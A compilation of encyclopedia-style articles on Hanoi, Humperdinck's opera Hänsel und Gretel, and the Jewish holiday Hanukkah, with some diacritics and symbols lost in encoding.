              	3,347/km(8,668.7/sqmi)
            


            
              	Website: www.hanoi.gov.vn
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          Hanoi ( Vietnamese: H Nội, Hn Tự: 河 内) pronunciation, estimated population 3.398.889 (2007) , is the capital of Vietnam. From 1010 until 1802, it was the political centre of an independent Vietnam with a few brief interruptions. It was eclipsed by Huế during the Nguyen Dynasty as the capital of Vietnam, but served as the capital of French Indochina from 1887 to 1954. From 1954 to 1976, it was the capital of North Vietnam.


          The city is located on the right bank of the Red River. Hanoi is located at 212' North, 10551' East, 1760 km (1094 mi) north of Ho Chi Minh City.


          On May 29 2008, it is decided that Ha Tay province, Vinh Phuc's Me Linh district and 3 communes of Luong Son district, Hoa Binh will be merged into the metropolitan area of Hanoi from August 1 2008. Hanoi's total areas will be maximized 3 times to 334,470 hectares divided into 29 subdivisions. The new population is 6,232,940.


          


          History
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          The area around modern Hanoi has been inhabited since at least 3000 BC. One of the first known permanent settlements is the Co Loa citadel founded around 200 BC.


          Hanoi has had many names throughout history, all of them of Sino-Vietnamese origin. During the Chinese domination of Vietnam, it was known as Tống Bnh (宋平) and later Long Đỗ. In 866, it was turned into a citadel and was named Đại La (大羅).


          In 1010, L Thi Tổ, the first ruler of the L Dynasty, moved the capital of Đại Việt (大越, the Great Viet, then the name of Vietnam) to the site of the Đại La Citadel. Claiming to have seen a dragon ascending the Red River, he renamed it Thăng Long (昇龍, Ascending dragon) - a name still used poetically to this day. It remained the capital of Vietnam until 1397, when the capital was moved to Thanh Ha, also known as Ty Đ (西都, Western Capital). Thăng Long then became Đng Đ (東都, Eastern Capital).


          In 1408, Vietnam was invaded by Chinese troops from the Ming Dynasty and Đng Đ was renamed Đng Quan (東關, Eastern Gateway) by the Chinese. In 1428, Vietnam was liberated from Chinese rule by L Lợi, the founder of the Le Dynasty and Đng Quan was renamed Đng Kinh (東京, Eastern Capital - the name known to Europeans as Tonkin; and evidently, the same characters used for Tokyo). During the Ty Sơn Dynasty, it was named Bắc Thnh (北城, Northern Citadel).


          In 1802, when the Nguyễn Dynasty was established and then moved the capital down to present-day Huế, it was renamed Thăng Long ( "ascending dragon"). However, the second syllable of the toponym is actually a homonym of the word long, and so, actually suggests to flourish as opposed to dragon. Therefore, the name would then have appeared as 昇隆, roughly to ascend and flourish. In 1831 the Nguyen Dynasty renamed it H Nội ( 河 内, can be translated as Between Rivers or River Interior) . Hanoi was occupied by the French in 1873 and passed to them ten years later. It became the capital of French Indochina after 1887.


          The city was occupied by the Japanese in 1940, and liberated in 1945, when it became the seat of Vietnam's government. From 1946 to 1954, it was the scene of heavy fighting between the French and Viet Minh forces. At that point, the city became the capital of an independent North Vietnam.


          During the Vietnam War Hanoi's transportation facilities were disrupted by the bombing of bridges and railways, which were, however, promptly repaired. Following the end of the war, Hanoi became the capital of Vietnam when North and South Vietnam were reunited on July 2, 1976.


          


          Geography


          Hanoi experiences the typical climate of northern Vietnam, where summers are hot and humid, and winters are relatively cool and dry. The summer months from May to September receive the majority of rainfall in the year (1,682 mm rainfall/ year). The winter months from November to March are relatively dry, although spring then often brings light rains. The minimum winter temperature in Hanoi can dip as low as 67C (43F) not including the wind chill, while summer can get as hot as 3840C (100-104F).


          



          
            
              	Weather averages for Hanoi
            


            
              	Month

              	Jan

              	Feb

              	Mar

              	Apr

              	May

              	Jun

              	Jul

              	Aug

              	Sep

              	Oct

              	Nov

              	Dec
            


            
              	Average high C (F)

              	19 (66)

              	19 (67)

              	22 (72)

              	27 (80)

              	31 (87)

              	32 (90)

              	32 (90)

              	32 (89)

              	31 (88)

              	28 (82)

              	24 (76)

              	22 (71)
            


            
              	Average low C (F)

              	14 (58)

              	16 (60)

              	18 (65)

              	22 (71)

              	25 (77)

              	27 (80)

              	27 (80)

              	27 (80)

              	26 (78)

              	23 (73)

              	19 (66)

              	16 (60)
            


            
              	Precipitation mm (inches)

              	20.1 (0.79)

              	30.5 (1.20)

              	40.6 (1.60)

              	80 (3.15)

              	195.6 (7.70)

              	240 (9.45)

              	320 (12.6)

              	340.4 (13.4)

              	254 (10.0)

              	100.3 (3.95)

              	40.6 (1.60)

              	20.3 (0.80)
            


            
              	Source: weather.comand asiaforvisitors.com 2008-02-26
            

          


          


          Education
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          Hanoi, as the capital of French Indochina, was home to the first Western-style universities in Indochina, including: Indochina Medical College (1902) - now Hanoi Medical University, Indochina University (1904) - now Hanoi National University, and cole Suprieure des Beaux-Arts de L'Indochine (1925) - now Hanoi University of Fine Art.


          After the Communist Party took control over Hanoi in 1954 with support from the Soviet Union, many new universities were built, such as Hanoi University of Technology, Le Quy Don Technical University, University of Foreign Trade (Vietnam), and Water Resources University (Vietnam). Hanoi University of Technology remains the largest technical university in Vietnam.


          Hanoi is the largest centre of education in Vietnam. It is estimated that 62% of the scientists in the whole country are living and working in Hanoi. Admissions to undergraduate study are through entrance examinations, which are conducted annually and open for everyone (who has successfully completed his/her secondary education) in the country. The majority of universities in Hanoi are public, although in recent years a number of private universities have started their operation. Thang Long university, founded in 1988, by some Vietnamese mathematics professors in Hanoi and France is the first private university in Vietnam.
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              Hanoian pupils
            

          


          Because many of Vietnam's major universities are located in Hanoi, students from other provinces (especially in the northern part of the country) wishing to enter university often travel to Hanoi for the annual entrance examination. Such events often take place in June and July, during which a large number of students and their families converge on the city for several weeks around this intense examination period. In recent years, these entrance exams have been centrally coordinated by the Ministry of Education, but passing marks are decided independently by each university.


          Pre-tertiary (elementary and secondary) schools in Hanoi mainly serve their local districts. Education is equivalent to the K12 system in the US, with elementary school between grades 1 and 5, middle school (or junior high) between grades 6 and 9, and high school from grades 10 to 12.


          


          Tourist Attractions
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          As the capital of Vietnam for almost a thousand years, Hanoi is considered to be the cultural centre of Vietnam, where every dynasty has left behind their imprint. Even though some relics have not survived through wars and time, the city still has many interesting cultural and historic monuments for visitors and residents alike. Historians liken the life-giving Red River with its banks crowded with green rice paddies and farms to the Tigris and Euphrates rivers; a cradle of civilization. Even when the nation's capital moved to Hue under the Nguyen dynasty in 1802, the city of Hanoi continued to flourish, especially after the French took control in 1888 and modeled the city's architecture to their tastes, lending an important aesthetic to the city's rich stylistic heritage. The city boasts more than 1,000 years of history, and that of the past few hundred years has been well preserved.


          Hanoi hosts more cultural sites than any city in Vietnam, including over 600 pagodas and temples.


          The Old Quarter, near Hoan Kiem lake, has the original street layout and architecture of old Hanoi. At the beginning of the 20th century the city consisted of only about 36 streets, most of which are now part of the old quarter. Each street then had merchants and households specialized in a particular trade, such as silk traders, jewellery, etc. The street names nowadays still reflect these specializations, although few of them remain exclusively in their original commerce. The area is famous for its small artisans and merchants, including many silk shops. Local cuisine specialties as well as several clubs and bars can be found here also. A night market (near Đồng Xun market) in the heart of the district opens for business every Friday, Saturday, and Sunday evening with a variety of clothing, souvenirs and food.
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              The Temple of Literature , main entry
            

          


          Some others prominent places are: The Temple of Literature (Văn Miếu), site of the oldest university in Vietnam 1070; One Pillar Pagoda (Cha Một Cột); Flag Tower of Hanoi (Cột cờ H Nội). In 2004, a massive part of the 900 year old citadel was discovered in central Hanoi, near the site of Ba Dinh square.


          A city between the rivers, built from lowland, Hanoi has many scenic lakes and sometime is called "city of lakes". Among its lakes, the most famous are Hoan Kiem Lake, West Lake, Halais Lake (Hồ Thiền Quang) in Vietnamese), and Bay Mau Lake. West Lake (Hồ Ty) is a popular place for people to spend time. It is the largest lake in Hanoi and there are many temples in the area. There are small boats for hire and a floating restaurant.


          Under French rule, as an administrative centre for the French colony of Indochina, the French colonial architecture style became donminant, many examples remain today: the tree-lined boulevards (e.g Phan Dinh Phung street), The Grand Opera House, The State Bank of Vietnam (formerly The Bank of Indochina), The Presidential Palace (formerly Place of The Governor-General of French Indochina), the cathdrale St-Joseph, and historic hotel Sofitel Metropole.


          


          Museums


          Hanoi is also home to a number of museums:


          
            	National Museum of Vietnamese History


            	Vietnam National Museum of Fine Arts


            	Vietnam Museum of Ethnology


            	Vietnam Museum of Revolution


            	Hanoi Hilton


            	Ho Chi Minh Museum


            	Contemporary Arts Centre

          


          


          Hotels


          There are some luxury hotels located in Hanoi, including: Sofitel Metropole and Hilton Hanoi Opera.


          Sofitel Metropole is a historic hotel remaining from the French colonialism in Hanoi. The hotel was rewarded the second nicest hotel in Asia by Cond Nast Traveler Magazine thanks to its antiquated beauty (2007)..


          


          Entertainment
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          A variety of options for entertainment in Hanoi can be found throughout the city. Modern and traditional theaters, cinemas, karaoke bars, dance clubs, bowling alleys, and an abundance of opportunities for shopping provide leisure activity for both locals and tourists. With its rapid growth and extremely high population density, several modern shopping centers have been built in Hanoi. Metro Hanoi, Vincom City Towers, Big C Thang Long Supercenter, Me Linh Plaza Furniture Hypermarket, Pico Plaza Electronics Hypermarket, and Trang Tien Plaza have all established large crowds on a regular basis. Multiple supermarket chains have also proved successful in Hanoi, including Intimex, HaproMart, Fivimart and Marko.


          Hanoi is home to no fewer than ten movie theaters, with more in development, most of which feature films in both Vietnamese and English with appropriate subtitles. Currently, Megastar Cineplex provides the only screens in town equipped with Dolby Digital sound.


          


          Cuisine
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          Hanoi has rich food traditions and many of Vietnam's most famous dishes, such as phở, chả c, bnh cuốn and cốm are thought to come from Hanoi. Perhaps most widely known is Phở, a simple rice noodle soup often eaten as a breakfast dish in the home or at streetside cafes, but also served in restaurants as a meal. Two varieties dominate the Hanoi scene: Phở B, containing beef, and Phở G, containing chicken.


          


          Population
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          Hanoi's population is constantly growing (about 3,5% per year ), a reflection of the fact that the city is both a major metropolitan area of Northern Vietnam, and also the country's political centre. This population growth also puts a lot of pressure onto the infrastructure, some of which is antiquated and dates back from the early 20th century.


          The number of Hanoians who settled down for more than three generations is likely to be very small as compared to the overall population of the city. Even in the Old Quarter, where commerce started hundreds years ago and was mostly a family business, many of the street-front stores nowadays are owned by merchants and retailers from other provinces. The original owner family may have either rented out the store and moved to live further inside the house, or just moved out of the neighbourhood altogether. The pace of change has especially escalated after the abandonment of central-planing economic policies, and relaxing of the district-based household registrar system.


          


          Transportation
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          Hanoi is served by Noi Bai International Airport, located in the Soc Son District, approximately 40 km (25 miles) north of Hanoi. Noi Bai is the only international airport for the northern regions of Vietnam. Direct daily flights are available to other cities in Vietnam, Asia, Australia, and Europe. The airport has recently been rebuilt with modern facilities.


          There are two main highways linking the airport and city. The route to the city via Thang Long Bridge is more direct than Highway 1, which runs along the outskirts of the city. The main highways are shared by cars, motor scooters, with separate lanes by the side for bicycles. Taxis are plentiful and usually have trip meters, although it is also common to agree on the trip price before taking a taxi from airport to the city centre. Tourists also sometimes tour the city on cyclos especially in the Old Quarter.


          Hanoi is also the origin departure point for many train routes in the country. The Union Express (tu Thống Nhất) runs from Hanoi to Ho Chi Minh City from Hanoi station (formerly Hang Co station), with stops at cities and provinces along the line. Trains also depart Hanoi frequently for Hai Phong and other northern cities.


          The main means of transport within the city are motorbikes, buses, taxis, and bicycles. Motorbikes remain the most common way to move around the city. Public buses run on many routes and fare can be purchased on the bus. For short trips, "xe m" (literally, "hug vehicle") motorcycle taxis are available where the passenger sits at the rear of a motorbike.


          


          Economy


          Hanoi has the highest Human Development Index among the cities in Vietnam. Though representing only 3.6 percent of the country's population and 0.3 percent of the national territory, Hanoi contributes 15 percent to the national GDP and 45 percent of the Red River Delta's economy.


          Industrial production in the city has experienced a rapid boom since the 1990s, with average annual growth of 19.1 percent from 199195, 15.9 percent from 19962000, and 20.9 percent during 20012003. In addition to eight existing industrial parks, Hanoi is building five new large-scale industrial parks and 16 small- and medium-sized industrial clusters. The non-state economic sector is expanding fast, with more than 48,000 businesses currently operating under the Enterprise Law (as of 3/2007) .


          Trade is another strong sector of the city. In 2003, Hanoi had 2,000 businesses engaged in foreign trade, having established ties with 161 countries and territories. The city's export value grew by an average 11.6 percent each year from 19962000 and 9.1 percent during 20012003. The economic structure also underwent important shifts, with tourism, finance, and banking now playing an increasingly important role.


          Hanoi's business districts are traditionally Hoan Kiem and the neighbourhood; and a newly developing Trung Hoa Nhan Chinh in the South Western.


          Similar to Ho Chi Minh City, Hanoi enjoys a rapidly-developing real estate market. The metropolis's economy growth does not seem correlative to its infrastructure. Overloading population requires a much larger supply of accommodations, while the constructing celerities of both transport system and new urban areas are too low. Not surprisingly, as an effect of this problem, the apartment and real estate fever occur severely during the time. More widespread, the fever even influences Ha Tay, the neighboring province, considered the future development space of the capital. The current most notable new urban areas are central Trung Hoa Nhan Chinh, My Dinh, the luxurious zones of The Manor and Ciputra.


          Agriculture, previously a pillar in Hanoi's economy, has striven to reform itself, introducing new high-yield plant varieties and livestock, and applying modern farming techniques.


          Together with economic growth, Hanoi's appearance has also changed significantly, especially in recent years. Infrastructure is constantly being upgraded, with new roads and an improved public transportation system. The rate of telephone users was 30 per 100 people in 2003. New urban areas are growing rapidly, with 1.5 million square metres of housing constructed during 19962000 and 1.3 million square metres built in 2003 alone.


          Social services have been developed in both scale and quality. The public healthcare network has been strengthened, ensuring at least one doctor for each commune and ward. Thanks to these accomplishments, Hanoi has the highest development index in the country. Movements such as raising donations for poor people or promoting a "cultural lifestyle", have received support from local people and been maintained.


          


          Sport Centers
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          There are several gymnasiums and stadiums throughout the city of Ha Noi. The biggest ones are My Dinh National Stadium ( Le Duc Tho Boulevard), Quan Ngua Sporting Palace ( Van Cao Avenue) and Underwater Sporting Palace. The others include Ha Noi stadium (as known as Hang Day stadium), Trinh Hoai Duc gymnasium, Gia Lam gymnasium, Cau Giay gymnasium, Hai Ba Trung gymnasium, Flag Pole stadium... It is decided that Asian Indoor Games will held at Hanoi in 2009.


          


          Health care and other facilities


          Some medical facilities in Hanoi:


          
            	Bach Mai Hospital


            	Viet Duc Hospital


            	Saint Paul Hospital


            	108 Hospital


            	L'Hpital Franais De Hano


            	International SOS

          


          


          Districts


          H Nội is divided into five outer districts and nine inner districts.


          The inner districts include:


          
            	Ba Đnh (Three Temples) - political centre, named after a destionation (there was a uprising) in Thanh Hoa.


            	Cầu Giấy (Paper Bridge) - in the past, there were many traditional papermaking workshops.


            	Đống Đa - named after a historic victory of Quang Trung again Qing Dynasty at this area.


            	Hai B Trưng (Two First Ladies) - named after the two Vietnamese heroines Hai Ba Trung


            	Hon Kiếm (Sword Recurrent)- downtown of Hanoi, named after the central lake - Hoan Kiem Lake


            	Hong Mai (Yellow Ume) - where there were many ume/apricot trees.


            	Long Bin (Dragon Fin) - across the Red River, named after the position as the traditional outskirt of Hanoi.


            	Ty Hồ (West Lake) - named after the largest lake - West Lake (Hanoi).


            	Thanh Xun (literally Green Spring, i.e. Youth) - Industrial, labor district, a propaganda name from the past.

          


          The outer districts include:


          
            	Đng Anh


            	Gia Lm


            	Sc Sơn (Sc Mountain)


            	Thanh Tr (Green Ponds)- the lowest part of Hanoi, where there are many ponds.


            	Từ Lim

          


          


          Sister cities
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          Photos of Hanoi
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        Hnsel und Gretel (opera)


        
          

          Hnsel und Gretel is an opera by Engelbert Humperdinck (Humperdinck himself described it as a fairy opera.) The libretto was written by Adelheid Wette (Humperdinck's sister), based on the Grimms' Hansel and Gretel. It was first performed in Weimar on December 23, 1893.


          The idea for the opera was proposed to Humperdinck by his sister, who approached him about writing music for songs that she had written for her children for Christmas based on "Hnsel and Gretel." After several revisions, the musical sketches and the songs were turned into a full-scale opera.


          Hnsel und Gretel has been associated with Christmas since its earliest performances, and it is often performed at Christmas time. It is much admired for its folk music-inspired themes, one of the most famous being the prayer from act II.


          


          Recordings, Films, Television and Radio


          There are a number of recordings of the opera. In 1947, it became the first complete recording in English by the Metropolitan Opera, on an album starring Ris Stevens and Nadine Conner in the title roles. The album was first issued as a 78-RPM multi-record set by Columbia Records. After the advent of LPs, it was transferred to that medium. In 1953, a now-famous recording featuring Dame Elisabeth Schwarzkopf and Elisabeth Grmmer, sung in German with Herbert von Karajan conducting, was issued by EMI. Many critics consider this version the best ever recorded. Several versions in stereo have also been made.


          In 1954, the opera was made into a Technicolor film in English, with so-called "electronic" puppets (actually, a version of stop-motion puppets). The screen play was by celebrated Irish author Padraic Colum. Anna Russell provided the voice of the Witch. Not all of the score was used; the opera was, instead, presented as a sort of operetta, with spoken dialogue between the main numbers. Baritone Frank Rogier sang the role of the Father. Soprano Constance Brigham voiced both Hansel and Gretel, but actress Mildred Dunnock, who did not sing her role, provided the voice of the Mother. Franz Allers conducted.


          August Everding made another colour film of the opera (with singers, not puppets) in 1981, first shown in the United States on Great Performances, and now available on DVD. It is conducted by Georg Solti, and features Brigitte Fassbaender as Hansel, Edita Gruberova as Gretel, Sena Jurinac in her last role before her retirement, as the Witch, and Hermann Prey as the stepfather.


          Hansel und Gretel was also the first complete Metropolitan Opera performance heard on radio, on Christmas Day in 1931. Again on Christmas Day, this time in 1982, the opera was telecast live on the PBS Live from the Met series and sung, once again, in English instead of the traditional German. Frederica von Stade and Judith Blegen sang the title roles, with Jeffrey Tate conducting the orchestra and Thomas Fulton the chorus. Michael Devlin sang Peter. This was the first, and so far the only Live From the Met telecast of an entire opera presented in the afternoon, rather than in prime time.


          In 1970 the Canadian Broadcasting Corporation produced a version of the opera directed by Norman Campbell with Maureen Forrester as the Witch.


          In recent years, Maurice Sendak's production of the opera, which deliberately strips away all the spectacular fantasy elements in the "Children's Prayer" scene, was shown on television, and was directed by Frank Corsaro..


          


          Characters


          
            	Hnsel, a little boy (Mezzo-soprano or Soprano)


            	Gretel, his sister (Soprano)


            	Peter, broom-maker and father of Hnsel and Gretel (Baritone)


            	Gertrud, Peter's wife (Mezzo-soprano)


            	The Gingerbread witch (Mezzo-soprano or Tenor)


            	Sandman (Soprano)


            	Dewman (Soprano)

          


          Chorus of echoes (Three sopranos, two altos), and chorus of children.


          It is a curious fact that while the father and mother are given names in the score, their names are never said onstage. Instead they are always referred to as "Father" and "Mother", even when they speak to each other.


          


          Plot


          


          Act 1


          


          Scene 1


          Setting: At home.


          Gretel stitches a stocking, and Hnsel is making a broom. Gretel sings to herself as she works. Hnsel mocks her, singing to the same tune a song about how hungry he is. He wishes for Mother to come home. Gretel tells him to be quiet and reminds him of what Father always says: "When the need is greatest, God the Lord puts out his hand." Hnsel complains that one can't eat words, and Gretel cheers him up by telling him a secret: A neighbour has given Mother a jug of milk, and tonight she'll make a rice pudding for them to eat! Hnsel, excited, tastes the cream on the top of the milk. Gretel scolds him and tells him he should get back to work. Hnsel says that he doesn't want to work, he'd rather dance! Gretel agrees, and they begin to dance around.


          


          Scene 2


          Mother enters, and she is furious when she finds that Hnsel and Gretel have not been working. As she threatens to beat them with a stick, she knocks over the jug of milk. Mother sends Hnsel and Gretel to the Ilsenstein forest to look for strawberries. Alone, she expresses her sorrow that she is unable to feed her children, and asks God for help.


          


          Scene 3


          From far off, Father sings about how hungry he is. He bursts into the house, roaring drunk, and kisses Mother roughly. She pushes him away and scolds him for being drunk. He surprises her by taking from his pack a feast: Bacon, butter, flour, sausages, fourteen eggs, beans, onions, and a quarter pound of coffee! He explains to her that beyond the forest, it is almost time for a festival, and everyone is cleaning in preparation. He went from house to house and sold his brooms at the highest prices. As Father and Mother celebrate, he suddenly stops and asks where the children are. Mother changes the subject to the broken jug, and after she finishes telling him the story, he laughs, then asks again after the children. She tells him that they are in the Ilsenstein forest. Suddenly scared, Father tells her that the forest is where the evil Gingerbread Witch (literally, "Nibbling Witch") dwells. She lures children with cakes and sweets, pushes them into her oven, where they turn to gingerbread, and then eats them. Father and Mother rush to the forest to search for their children.


          


          Act Two


          Humperdinck wrote music to connect act one to act two, and they are often performed together with no intermission.


          


          Scene 1


          Setting: In the forest. Sunset.


          Gretel weaves a crown of flowers as she sings to herself. Hnsel searches for strawberries. As Gretel finishes her crown, Hnsel fills his basket. Gretel tries to put the crown on Hnsel, but, saying that boys don't play with things like these, he puts it on her head instead. He tells her that she looks like the Queen of the Wood, and she says that if that's so, then he should give her a bouquet, too. He offers her the strawberries. They hear a cuckoo calling, and they begin to eat the strawberries. As the basket empties, they fight for the remaining strawberries, and finally, Hnsel grabs the basket and dumps the leftovers in his mouth. Gretel scolds him and tells him that Mother will be upset. She tries to look for more, but it's too dark for her to see. Hnsel tries to find the way back, but he cannot. As the forest darkens, Hnsel and Gretel become scared, and think they see something coming closer. Hnsel calls out, "Who's there?" and a chorus of echoes calls back, "He's there!" Gretel calls, "Is someone there?" and the echoes reply, "There!" Hnsel tries to comfort Gretel, but as a little man walks out of the forest, she screams.


          


          Scene 2


          The little Sandman, who has just walked out of the forest, tells the children that he loves them dearly, and that he has come to put them to sleep. He puts grains of sand into their eyes, and as he leaves they can barely keep their eyes open. Gretel reminds Hnsel to say their evening prayer, and after they pray, they fall asleep on the forest floor.


          


          Scene 3


          Fourteen angels come out and arrange themselves around the children to protect them as they sleep. They are presented with a gift. The forest is filled with an intense light as the curtain falls.


          


          Act 3


          


          Scene 1


          Setting: In the forest.


          The little Dewman comes to wake the children. He sprinkles dew on them and leaves. Gretel wakes first, and wakes the sleepy Hnsel. They tell each other of their mutual dream, of angels protecting them as they slept.


          


          Scene 2


          Suddenly they notice behind them an enormous gingerbread house. On the left side is an oven, on the right side is a cage, and around it is a fence of gingerbread children. Unable to resist temptation, they take a little bit of the house and nibble on it.


          


          Scene 3


          As the children nibble, a voice calls out, "Nibbling, nibbling, little mouse! Who's nibbling on my little house?" Hnsel and Gretel decide that the voice must have been the wind, and they begin to eat the house. As Hnsel breaks off another piece of the house, the voice again calls out, "Nibbling, nibbling, little mouse! Who's nibbling on my little house?" Hnsel and Gretel ignore the voice, and continue eating. The witch comes out of the house and catches Hnsel with a rope. As Hnsel tries to escape, the witch explains that she is Rosine Leckermaul (literally, "Rosina Tastymuzzle"), and that she likes nothing better than to feed children sweets. Hnsel and Gretel are suspicious of the witch, so Hnsel frees himself from the rope and he and Gretel begin to run away.


          The witch takes out her wand and calls out, "Stop!" Hnsel and Gretel are frozen to the spot where they stand. Using the wand, the witch leads Hnsel to the cage. The witch leaves him stiff and slow of movement. She tells Gretel to be reasonable, and then the witch goes inside to fetch raisins and almonds with which to fatten Hnsel. Hnsel whispers to Gretel to pretend to obey the witch. The witch returns, and waving her wand, says, "Hocus pocus, holderbush! Loosen, rigid muscles, hush!" Using the wand, the witch forces Gretel to dance, then tells her to go into the house and set the table. Hnsel pretends to be asleep, and the witch, overcome with excitement, describes how she plans to cook and eat Gretel.


          The witch wakes up Hnsel and has him show her his finger. He puts out a bone instead, and she feels it instead. Disappointed that he is so thin, the witch calls for Gretel to bring out raisins and almonds. As the witch tries to feed Hnsel, Gretel steals the wand from the witch's pocket. Waving it towards Hnsel, Gretel whispers, "Hocus pocus, holderbush! Loosen rigid muscles, hush!" As the witch turns around and wonders at the noise, Hnsel discovers that he can move freely again.


          The witch tells Gretel to peek inside the oven to see if the gingerbread is done. Hnsel softly calls out to her to be careful. Gretel pretends that she doesn't know what the witch means. The witch tells her to lift herself a little bit and bend her head forward. Gretel says that she's "a goose" and doesn't understand, then asks the witch to demonstrate. The witch, frustrated, opens the oven and leans forward. Hnsel springs out of the cage, and he and Gretel shove the witch into the oven. They dance. The oven begins to crackle and the flames burn fiercely, and with a loud crash it explodes.


          


          Scene 4


          Around Hnsel and Gretel, the gingerbread children have turned back into humans. They are asleep and unable to move, but they sing to Hnsel and Gretel, asking to be touched. Hnsel is afraid, but Gretel strokes one on the cheek, and he wakes up, but is still unable to move. Hnsel and Gretel touch all the children, then Hnsel takes the witch's wand and, waving it, calls out, "Hocus pocus, elderbush! Loosen rigid muscles, whoosh!" The children are freed from the spell, and give Hnsel and Gretel their lifelong thanks.


          


          Scene 5


          Father is heard in the distance, calling for Hnsel and Gretel. He and Mother enter and embrace Hnsel and Gretel. Meanwhile, the gingerbread children pull out from the ruins of the oven the witch, who has turned into gingerbread. Father gathers the children around and tells them to look at this miracle. He explains that this is heaven's punishment for evil deeds and reminds them, "When the need is greatest, God the Lord puts out His hand."
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        Hanukkah


        
          

          
            
              	Hanukkah
            


            
              	[image: Hanukkah]

              Several Menorot on the eighth night of the festival.
            


            
              	Official name

              	Hebrew: חֲנֻכָּה or חנוכה

              English translation: "Establishing/Dedication" (of the Temple in Jerusalem)
            


            
              	Also called

              	Festival of Lights, Festival of Dedication
            


            
              	Observed by

              	Jews
            


            
              	Type

              	Jewish
            


            
              	Significance

              	The Maccabees successfully rebelled against Antiochus IV Epiphanes. The Temple was purified and the wicks of the menorah miraculously burned for eight days.
            


            
              	Begins

              	25 Kislev
            


            
              	Ends

              	2 Tevet or 3 Tevet
            


            
              	2008 date

              	sunset, December 21 to sunset, December 29 The first Day of Hanukkah 2008 is December 22.
            


            
              	2009 date

              	sunset, December 11 to sunset, December 19
            


            
              	Celebrations

              	Lighting candles each night. Singing special songs, such as Ma'oz Tzur. Reciting Hallel prayer. Eating festive meals and foods fried in oil, such as latkes and sufganiyot. Playing the dreidel game, and giving Hanukkah gelt
            


            
              	Related to

              	Purim, as a rabbinically decreed holiday.
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          Hanukkah (Hebrew: חנוכה, alt. Chanukah), also known as the Festival of Lights, is an eight-day Jewish holiday commemorating the rededication of the Second Temple in Jerusalem at the time of the Maccabean Revolt of the 2nd century BCE. Hanukkah is observed for eight nights, starting on the 25th day of Kislev according to the Hebrew calendar, and may occur from late November to late December on the Gregorian calendar.


          The festival is observed by the kindling of the lights of a special candelabrum, the Menorah or Hanukiah, one light on each night of the holiday, progressing to eight on the final night. An extra light called a shamash, (Hebrew: "guard" or "servant") is also lit each night, and is given a distinct location, usually higher or lower than the others. The purpose of the extra light is to adhere to the prohibition, specified in the Talmud (Tracate Shabbat 21b-23a), against using the Hanukkah lights for anything other than publicizing and meditating on the Hanukkah story.


          Hanukkah is mentioned in the deuterocanonical or apocrypha books of 1 Maccabees and 2 Maccabees. 1 Maccabees states: "For eight days they celebrated the rededication of the altar. Then Judah and his brothers and the entire congregation of Israel decreed that the days of the rededication...should be observed...every year...for eight days. (1 Mac.4:56-59)" According to 2 Maccabees, "the Jews celebrated joyfully for eight days as on the feast of Booths."


          


          Origins of the holiday


          "Hanukkah," from the Hebrew word for "dedication" or "consecration", marks the re-dedication of the Temple in Jerusalem after its desecration by the forces of Antiochus IV and commemorates the "miracle of the container of oil." According to the Talmud, at the re-dedication following the victory of the Maccabees over the Seleucid Empire, there was only enough consecrated olive oil to fuel the eternal flame in the Temple for one day. Miraculously, the oil burned for eight days, which was the length of time it took to press, prepare and consecrate fresh olive oil.


          Hanukkah is also mentioned in the deuterocanonical books of 1 Maccabees and 2 Maccabees. 1 Maccabees states: "For eight days they celebrated the rededication of the altar. Then Judah and his brothers and the entire congregation of Israel decreed that the days of the rededication...should be observed...every year...for eight days. (1 Mac.4:56-59)" According to 2 Maccabees, "the Jews celebrated joyfully for eight days as on the feast of Booths."


          The martyrdom of Hannah and her seven sons has also been linked to Hanukkah. According to the Talmudic story and 2 Maccabees, a Jewish woman named Hannah and her seven sons were tortured and executed by Antiochus' for refusing to bow down to a statue and eat pork, in violation of Jewish law.


          


          Name


          The name "Hanukkah" is interpreted in many ways.


          
            	Some scholars say the word was derived from the Hebrew verb "חנך" meaning "to dedicate" or to "educate." On Hanukkah,Jews mark the rededication of the House of the Lord.

          


          
            	Others argue that the name can be broken down into "חנו", from the Hebrew word for encampment, and the Hebrew letters כ"ה, which stand for the 25th day of Kislev, the day on which the holiday begins: Hence, the Jews sat in their camp, that is, they rested fighting, on the 25th day of Kislev.

          


          
            	Hanukkah is also the Hebrew acronym for "ח' נרות והלכה כבית הלל" meaning "eight candles as determined by House of Hillel" This is a reference to the disagreement between two rabbinical schools of thought - Hillel and the House of Shammai - on the proper way to light Hanukkah candles. Shammai said that eight candles should be lit from the start, and reduced by one candle every night, whereas Hillel argued in favour of starting with one candle and lighting an additional one every night. Jewish law adopted the position of Hillel.

          


          


          The story


          Around 200 BCE Jews lived as an autonomous people in the Land of Israel, also referred to as Judea, which at that time was controlled by the Seleucid king of Syria. The Jewish people paid taxes to Syria and accepted its legal authority, and they were free to follow their own faith, maintain their own jobs, and engage in trade.


          By 175 BCE Antiochus IV Epiphanes ascended to the Seleucid throne. At first little changed, but under his reign, the Temple in Jerusalem was looted, Jews were massacred, and Judaism was effectively outlawed. In 167 BCE Antiochus ordered an altar to Zeus erected in the Temple.


          Many modern scholars argue that the king may have been intervening in an internal civil war between the traditionalist Jews in the country and the Hellenized elite Jews in Jerusalem. These competed violently over who would be the High Priest, with traditionalists with Hebrew/Aramaic names like Onias overthrown by Hellenizers with Greek names like Jason and Menelaus. As the conflict escalated, Antiochus took the side of the Hellenizers by prohibiting the religious practices the traditionalists had rallied around. This may explain why the king, in a total departure from Seleucid practice in all other places and times, banned the traditional religion of a whole people.


          Antiochus' actions proved to be a major miscalculation as they provoked a large-scale revolt. Mattathias, a Jewish priest, and his five sons Jochanan, Simeon, Eleazar, Jonathan, and Judah led a rebellion against Antiochus. Judah became known as Yehuda HaMakabi ("Judah the Hammer"). By 166 BCE Mattathias had died, and Judah took his place as leader. By 165 BCE the Jewish revolt against the Seleucid monarchy was successful. The Temple was liberated and rededicated. The festival of Hanukkah was instituted by Judah Maccabee and his brothers to celebrate this event. After recovering Jerusalem and the Temple, Judah ordered the Temple to be cleansed, a new altar to be built in place of the polluted one and new holy vessels to be made. According to the Talmud, olive oil was needed for the menorah in the Temple, which was required to burn throughout the night every night. But there was only enough oil to burn for one day, yet miraculously, it burned for eight days, the time needed to prepare a fresh supply of oil for the menorah. An eight day festival was declared by the Jewish sages to commemorate this miracle.
